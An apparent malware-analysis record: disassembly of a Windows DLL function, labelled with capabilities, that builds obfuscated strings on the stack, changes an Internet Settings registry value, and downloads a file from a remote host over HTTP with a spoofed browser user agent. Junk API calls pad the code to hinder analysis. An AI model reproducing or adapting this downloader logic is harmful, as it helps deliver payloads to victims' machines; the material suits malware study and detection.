Function at 0x100015fb
Capabilities:
Connect to http server
Contain obfuscated stackstrings
Create http request
Get common file path
Get session user name
Query remote server for available data
Send data
Send http request
Set registry value
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x10c4]
mov eax, 0x112c
call fcn.10011170
mov eax, dword [0x100271c0]
xor eax, ebp
mov dword [ebp + 0x10c0], eax
mov eax, dword [ebp + 0x10cc]
and dword [ebp - 0x34], 0
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x10d0]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x10d4]
push ebx
push esi
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x10d8]
push edi
mov dword [ebp - 0x38], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, dword [sym.imp.KERNEL32.dll_FindAtomA]
push str.uyravngywwly
mov byte [ebp + 0xb08], 0x77
mov byte [ebp + 0xb09], 0x69
mov byte [ebp + 0xb0a], 0x6e
call esi
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp + 0x9ec]
push eax
mov byte [ebp + 0xb0b], 0x69
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push str.xufqpfmhhqme
mov byte [ebp + 0xb0c], 0x6e
mov byte [ebp + 0xb0d], 0x65
call esi
push 0x2071
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push 0x121
lea eax, [ebp + 0x9e4]
push eax
mov byte [ebp + 0xb0e], 0x74
mov byte [ebp + 0xb0f], 0x2e
mov byte [ebp + 0xb10], 0x64
mov byte [ebp + 0xb11], 0x6c
mov byte [ebp + 0xb12], 0x6c
call ebx
push 0x100213dc
mov byte [ebp + 0xb13], 0
mov byte [ebp + 0xb88], 0x49
call esi
mov edi, dword [sym.imp.USER32.dll_GetCursor]
call edi
mov byte [ebp + 0xb89], 0x6e
call edi
push str.cljntrv
call esi
mov byte [ebp + 0xb8a], 0x74
mov byte [ebp + 0xb8b], 0x65
mov byte [ebp + 0xb8c], 0x72
mov byte [ebp + 0xb8d], 0x6e
call edi
mov byte [ebp + 0xb8e], 0x65
call edi
push 0x11d
lea eax, [ebp + 0x9e8]
push eax
mov byte [ebp + 0xb8f], 0x74
mov byte [ebp + 0xb90], 0x52
mov byte [ebp + 0xb91], 0x65
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp + 0xc08]
push eax
push 0x104
mov byte [ebp + 0xb92], 0x61
call ebx
mov esi, dword [sym.imp.USER32.dll_GetDC]
push 0x1e89
mov byte [ebp + 0xb93], 0x64
call esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0x402
push 0x1636
mov byte [ebp + 0xb94], 0x46
call dword [sym.imp.USER32.dll_GetClassLongA]
mov byte [ebp + 0xb95], 0x69
lea eax, [ebp + 0xb08]
push eax
mov byte [ebp + 0xb96], 0x6c
mov byte [ebp + 0xb97], 0x65
mov byte [ebp + 0xb98], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp + 0xb88]
push ecx
push eax
mov dword [ebp - 0x3c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x100023d0
cmp byte [eax], 0
je 0x100023d0
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x100023d0
cmp byte [eax], 0
je 0x100023d0
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x100023d0
cmp byte [eax], 0
je 0x100023d0
mov eax, dword [ebp - 0x38]
test eax, eax
je 0x100023d0
cmp byte [eax], 0
je 0x100023d0
push 0x18b2
mov byte [ebp + 0x400], 0x2a
call dword [sym.imp.USER32.dll_IsWindowVisible]
push 0xf79
mov byte [ebp + 0x401], 0x2f
mov byte [ebp + 0x402], 0x2a
call dword [sym.imp.USER32.dll_IsWindowVisible]
and dword [ebp - 0x44], 0
lea eax, [ebp + 0x400]
mov byte [ebp + 0x403], 0
mov dword [ebp - 0x48], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0x1d01
call esi
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp + 0x9f8]
push eax
mov byte [ebp + 0xf90], 0x53
mov byte [ebp + 0xf91], 0x6f
mov byte [ebp + 0xf92], 0x66
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov byte [ebp + 0xf93], 0x74
call edi
push 0x2eec
mov byte [ebp + 0xf94], 0x77
call dword [sym.imp.USER32.dll_IsWindowVisible]
push 0x16db
call esi
mov byte [ebp + 0xf95], 0x61
mov byte [ebp + 0xf96], 0x72
mov byte [ebp + 0xf97], 0x65
mov byte [ebp + 0xf98], 0x5c
call edi
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp + 0x9dc]
push eax
mov byte [ebp + 0xf99], 0x4d
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x2c19
mov byte [ebp + 0xf9a], 0x69
mov byte [ebp + 0xf9b], 0x63
mov byte [ebp + 0xf9c], 0x72
mov byte [ebp + 0xf9d], 0x6f
call dword [sym.imp.USER32.dll_IsWindowVisible]
push 0x113e
call esi
push 0x427
push 0x24a7
mov byte [ebp + 0xf9e], 0x73
call dword [sym.imp.USER32.dll_GetClassLongA]
push 0x40a
push 0x21f1
mov byte [ebp + 0xf9f], 0x6f
call dword [sym.imp.USER32.dll_GetClassLongA]
lea eax, [ebp + 0xc08]
push eax
push 0x104
mov byte [ebp + 0xfa0], 0x66
call ebx
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp + 0x9f0]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x2acd
mov byte [ebp + 0xfa1], 0x74
mov byte [ebp + 0xfa2], 0x5c
call esi
push 0x199c
mov byte [ebp + 0xfa3], 0x57
mov byte [ebp + 0xfa4], 0x69
mov byte [ebp + 0xfa5], 0x6e
mov byte [ebp + 0xfa6], 0x64
mov byte [ebp + 0xfa7], 0x6f
mov byte [ebp + 0xfa8], 0x77
mov byte [ebp + 0xfa9], 0x73
call esi
push 0x404
push 0xa4f
mov byte [ebp + 0xfaa], 0x5c
call dword [sym.imp.USER32.dll_GetClassLongA]
push 0x1bd6
mov byte [ebp + 0xfab], 0x43
call esi
mov byte [ebp + 0xfac], 0x75
call edi
push 0x407
push 0x1636
call dword [sym.imp.USER32.dll_GetClassLongA]
mov byte [ebp + 0xfad], 0x72
lea eax, [ebp + 0xc08]
push eax
push 0x104
mov byte [ebp + 0xfae], 0x72
call ebx
push 0x2547
mov byte [ebp + 0xfaf], 0x65
call dword [sym.imp.USER32.dll_IsWindowVisible]
push 0x40d
push 0x2a70
mov byte [ebp + 0xfb0], 0x6e
call dword [sym.imp.USER32.dll_GetClassLongA]
push 0x11a
lea eax, [ebp + 0x9e8]
push eax
mov byte [ebp + 0xfb1], 0x74
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
mov byte [ebp + 0xfb2], 0x56
mov byte [ebp + 0xfb3], 0x65
mov byte [ebp + 0xfb4], 0x72
mov byte [ebp + 0xfb5], 0x73
mov byte [ebp + 0xfb6], 0x69
mov byte [ebp + 0xfb7], 0x6f
mov byte [ebp + 0xfb8], 0x6e
call edi
mov byte [ebp + 0xfb9], 0x5c
mov byte [ebp + 0xfba], 0x49
call edi
push str.aujeimfyajum
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0xe5b
mov byte [ebp + 0xfbb], 0x6e
mov byte [ebp + 0xfbc], 0x74
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov byte [ebp + 0xfbd], 0x65
call edi
push 0x424
push 0x1711
mov byte [ebp + 0xfbe], 0x72
mov byte [ebp + 0xfbf], 0x6e
mov byte [ebp + 0xfc0], 0x65
mov byte [ebp + 0xfc1], 0x74
mov byte [ebp + 0xfc2], 0x20
mov byte [ebp + 0xfc3], 0x53
mov byte [ebp + 0xfc4], 0x65
call dword [sym.imp.USER32.dll_GetClassLongA]
mov byte [ebp + 0xfc5], 0x74
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea eax, [ebp + 0xc08]
push eax
push 0x104
mov byte [ebp + 0xfc6], 0x74
mov byte [ebp + 0xfc7], 0x69
call ebx
mov byte [ebp + 0xfc8], 0x6e
call edi
lea eax, [ebp + 0xc08]
push eax
push 0x104
mov byte [ebp + 0xfc9], 0x67
mov byte [ebp + 0xfca], 0x73
call ebx
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp + 0xf90]
push eax
push closesocket
mov byte [ebp + 0xfcb], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x10001c9a
and dword [ebp - 0x10], eax
push str.gywlp
mov byte [ebp + 0xd10], 0x47
call dword [sym.imp.KERNEL32.dll_FindAtomA]
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp + 0x9e0]
push eax
mov byte [ebp + 0xd11], 0x6c
mov byte [ebp + 0xd12], 0x6f
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x422
push 0x2041
mov byte [ebp + 0xd13], 0x62
mov byte [ebp + 0xd14], 0x61
call dword [sym.imp.USER32.dll_GetClassLongA]
mov byte [ebp + 0xd15], 0x6c
call edi
push 0x420
push 0x43
mov byte [ebp + 0xd16], 0x55
mov byte [ebp + 0xd17], 0x73
mov byte [ebp + 0xd18], 0x65
mov byte [ebp + 0xd19], 0x72
call dword [sym.imp.USER32.dll_GetClassLongA]
push 0x418
push 0x2f3
mov byte [ebp + 0xd1a], 0x4f
call dword [sym.imp.USER32.dll_GetClassLongA]
push 0x407
push 0x4ec
mov byte [ebp + 0xd1b], 0x66
mov byte [ebp + 0xd1c], 0x66
call dword [sym.imp.USER32.dll_GetClassLongA]
mov byte [ebp + 0xd1d], 0x6c
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea eax, [ebp + 0xc08]
push eax
push 0x104
mov byte [ebp + 0xd1e], 0x69
call ebx
mov byte [ebp + 0xd1f], 0x6e
call edi
push 4
lea eax, [ebp - 0x10]
push eax
push 4
push 0
lea eax, [ebp + 0xd10]
push eax
push dword [ebp - 0x28]
mov byte [ebp + 0xd20], 0x65
mov byte [ebp + 0xd21], 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x1002960c]
test eax, eax
je 0x10001cbc
cmp byte [eax], 0
je 0x10001cbc
push eax
lea eax, [ebp + 0xd90]
push eax
call fcn.10010ad0
pop ecx
pop ecx
jmp 0x10002077
push 0x2b08
mov byte [ebp + 0xd90], 0x4d
mov byte [ebp + 0xd91], 0x6f
mov byte [ebp + 0xd92], 0x7a
mov byte [ebp + 0xd93], 0x69
mov byte [ebp + 0xd94], 0x6c
call dword [sym.imp.USER32.dll_IsWindowVisible]
push str.ucksidbu
mov byte [ebp + 0xd95], 0x6c
mov byte [ebp + 0xd96], 0x61
mov byte [ebp + 0xd97], 0x2f
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0x10eb
call dword [sym.imp.USER32.dll_IsWindowVisible]
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp + 0x9f8]
push eax
mov byte [ebp + 0xd98], 0x34
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov byte [ebp + 0xd99], 0x2e
call edi
push 0x1feb
call esi
lea eax, [ebp + 0xc08]
push eax
push 0x104
mov byte [ebp + 0xd9a], 0x30
call ebx
push 0x179f
mov byte [ebp + 0xd9b], 0x20
mov byte [ebp + 0xd9c], 0x28
mov byte [ebp + 0xd9d], 0x63
mov byte [ebp + 0xd9e], 0x6f
mov byte [ebp + 0xd9f], 0x6d
call esi
mov byte [ebp + 0xda0], 0x70
call edi
lea eax, [ebp + 0xc08]
push eax
push 0x104
mov byte [ebp + 0xda1], 0x61
mov byte [ebp + 0xda2], 0x74
call ebx
lea eax, [ebp + 0xc08]
push eax
push 0x104
mov byte [ebp + 0xda3], 0x69
call ebx
push 0x2bfe
mov byte [ebp + 0xda4], 0x62
mov byte [ebp + 0xda5], 0x6c
call esi
call edi
push str.dxzkfjwufznhaf
mov byte [ebp + 0xda6], 0x65
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0x52c
mov byte [ebp + 0xda7], 0x3b
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov byte [ebp + 0xda8], 0x20
call edi
push 0xa7e
mov byte [ebp + 0xda9], 0x4d
mov byte [ebp + 0xdaa], 0x53
call esi
push 0x426
push 0xb9a
mov byte [ebp + 0xdab], 0x49
call dword [sym.imp.USER32.dll_GetClassLongA]
lea eax, [ebp + 0xc08]
push eax
push 0x104
mov byte [ebp + 0xdac], 0x45
call ebx
mov byte [ebp + 0xdad], 0x20
mov byte [ebp + 0xdae], 0x36
mov byte [ebp + 0xdaf], 0x2e
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov byte [ebp + 0xdb0], 0x30
push 0x105
lea eax, [ebp + 0xc08]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push str.arlpxrhh
mov byte [ebp + 0xdb1], 0x3b
mov byte [ebp + 0xdb2], 0x20
mov byte [ebp + 0xdb3], 0x57
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0x2c6d
mov byte [ebp + 0xdb4], 0x69
mov byte [ebp + 0xdb5], 0x6e
mov byte [ebp + 0xdb6], 0x64
mov byte [ebp + 0xdb7], 0x6f
call dword [sym.imp.USER32.dll_IsWindowVisible]
push 0x21a4
mov byte [ebp + 0xdb8], 0x77
call dword [sym.imp.USER32.dll_IsWindowVisible]
push 0x427
push 0x230
mov byte [ebp + 0xdb9], 0x73
mov byte [ebp + 0xdba], 0x20
mov byte [ebp + 0xdbb], 0x4e
mov byte [ebp + 0xdbc], 0x54
call dword [sym.imp.USER32.dll_GetClassLongA]
push 0x2aeb
mov byte [ebp + 0xdbd], 0x20
mov byte [ebp + 0xdbe], 0x35
mov byte [ebp + 0xdbf], 0x2e
mov byte [ebp + 0xdc0], 0x31
mov byte [ebp + 0xdc1], 0x3b
mov byte [ebp + 0xdc2], 0x20
call esi
push 0x129
lea eax, [ebp + 0x9dc]
push eax
mov byte [ebp + 0xdc3], 0x53
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
mov byte [ebp + 0xdc4], 0x56
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push str.gvyptnscqv
mov byte [ebp + 0xdc5], 0x31
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0x2eda
mov byte [ebp + 0xdc6], 0x3b
call esi
push 0x870
mov byte [ebp + 0xdc7], 0x20
call esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp + 0x9f0]
push eax
mov byte [ebp + 0xdc8], 0x2e
mov byte [ebp + 0xdc9], 0x4e
mov byte [ebp + 0xdca], 0x45
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x2c78
mov byte [ebp + 0xdcb], 0x54
mov byte [ebp + 0xdcc], 0x20
call esi
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp + 0x9e0]
push eax
mov byte [ebp + 0xdcd], 0x43
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp + 0xc08]
push eax
push 0x104
mov byte [ebp + 0xdce], 0x4c
call ebx
push 0x11a
lea eax, [ebp + 0x9e8]
push eax
mov byte [ebp + 0xdcf], 0x52
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
lea eax, [ebp + 0xc08]
mov byte [ebp + 0xdd0], 0x20
mov byte [ebp + 0xdd1], 0x32
mov byte [ebp + 0xdd2], 0x2e
push eax
push 0x104
call ebx
lea eax, [ebp + 0xc08]
push eax
push 0x104
mov byte [ebp + 0xdd3], 0x30
mov byte [ebp + 0xdd4], 0x2e
mov byte [ebp + 0xdd5], 0x35
call ebx
push 0x952
call esi
mov byte [ebp + 0xdd6], 0x30
mov byte [ebp + 0xdd7], 0x37
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov byte [ebp + 0xdd8], 0x32
mov byte [ebp + 0xdd9], 0x37
mov byte [ebp + 0xdda], 0x29
mov byte [ebp + 0xddb], 0
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp + 0xd90]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
xor ecx, ecx
cmp eax, ecx
mov dword [ebp - 0x14], eax
je 0x100023c2
push 1
push ecx
push 3
push ecx
push ecx
push 0x50
push dword [ebp - 0x30]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
test eax, eax
mov dword [ebp - 0xc], eax
je 0x100023b9
push 0x42e
push 0x2976
call dword [sym.imp.USER32.dll_GetClassLongA]
push 0x2d31
mov byte [ebp + 0x10a0], 0x48
mov byte [ebp + 0x10a1], 0x54
mov byte [ebp + 0x10a2], 0x54
mov byte [ebp + 0x10a3], 0x50
mov byte [ebp + 0x10a4], 0x2f
mov byte [ebp + 0x10a5], 0x31
call esi
push 0x228a
mov byte [ebp + 0x10a6], 0x2e
mov byte [ebp + 0x10a7], 0x31
mov byte [ebp + 0x10a8], 0
call esi
call edi
call edi
mov byte [ebp + 0x1090], 0x47
mov byte [ebp + 0x1091], 0x45
call edi
push 1
push 0x400000
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x20]
lea eax, [ebp + 0x10a0]
push eax
push dword [ebp - 0x24]
lea eax, [ebp + 0x1090]
push eax
push dword [ebp - 0xc]
mov byte [ebp + 0x1092], 0x54
mov byte [ebp + 0x1093], 0
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
test eax, eax
mov dword [ebp - 4], eax
je 0x100023b0
push 0x1077
call dword [sym.imp.USER32.dll_IsWindowVisible]
push 0x403
push 0x2d7a
mov byte [ebp + 0xc0c], 0x41
mov byte [ebp + 0xc0d], 0x63
call dword [sym.imp.USER32.dll_GetClassLongA]
push 0x107
lea eax, [ebp + 0x9fc]
push eax
mov byte [ebp + 0xc0e], 0x63
mov byte [ebp + 0xc0f], 0x65
mov byte [ebp + 0xc10], 0x70
mov byte [ebp + 0xc11], 0x74
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
mov byte [ebp + 0xc12], 0x2d
call edi
push 0x14d7
mov byte [ebp + 0xc13], 0x4c
mov byte [ebp + 0xc14], 0x61
mov byte [ebp + 0xc15], 0x6e
mov byte [ebp + 0xc16], 0x67
call dword [sym.imp.USER32.dll_IsWindowVisible]
push 0x424
push 0x13ac
call dword [sym.imp.USER32.dll_GetClassLongA]
push 0x22ce
mov byte [ebp + 0xc17], 0x75
mov byte [ebp + 0xc18], 0x61
mov byte [ebp + 0xc19], 0x67
mov byte [ebp + 0xc1a], 0x65
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov eax, dword [0x10029608]
test eax, eax
mov byte [ebp + 0xc1b], 0x3a
mov byte [ebp + 0xc1c], 0x20
mov byte [ebp + 0xc1d], 0
je 0x1000224b
cmp byte [eax], 0
je 0x1000224b
push eax
jmp 0x10002250
push str.en_us
lea eax, [ebp + 0xc0c]
push eax
call fcn.10010ae0
pop ecx
pop ecx
lea eax, [ebp + 0xc0c]
push 0x100213d4
push eax
call fcn.10010ae0
pop ecx
pop ecx
lea eax, [ebp + 0xc0c]
push 0xa0000000
push eax
call fcn.10010f40
pop ecx
push eax
lea eax, [ebp + 0xc0c]
push eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
xor eax, eax
push eax
push eax
push eax
push eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x100023a7
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x2c], eax
je 0x10002343
and dword [ebp - 0x40], 0
mov eax, 0x418
push eax
mov dword [ebp - 0x18], eax
call fcn.1001096c
pop ecx
lea ecx, [ebp - 0x40]
push ecx
lea ecx, [ebp - 0x18]
push ecx
push eax
push 5
push dword [ebp - 4]
mov dword [ebp - 8], eax
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x10002305
push dword [ebp - 8]
call fcn.10011158
pop ecx
push dword [ebp - 8]
call fcn.10011153
pop ecx
push 0
push 0
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
jne 0x1000235a
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0xc]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x14]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1000186b
push dword [ebp - 4]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0xc]
call esi
push dword [ebp - 0x14]
call esi
jmp 0x100023c2
mov esi, 0x3ff
jmp 0x10002384
mov eax, dword [ebp - 8]
test eax, eax
je 0x10002397
push 0
lea ecx, [ebp - 0x10]
push ecx
push eax
mov byte [ebp + eax], 0
mov dword [ebp - 0x10], eax
lea eax, [ebp]
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp]
push eax
push dword [ebp - 4]
call dword [ebp - 0x1c]
test eax, eax
jne 0x10002361
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x34], 1
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0xc]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x14]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x34]
jmp 0x100023db
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov ecx, dword [ebp + 0x10c0]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10010fcb
add ebp, 0x10c4
leave
ret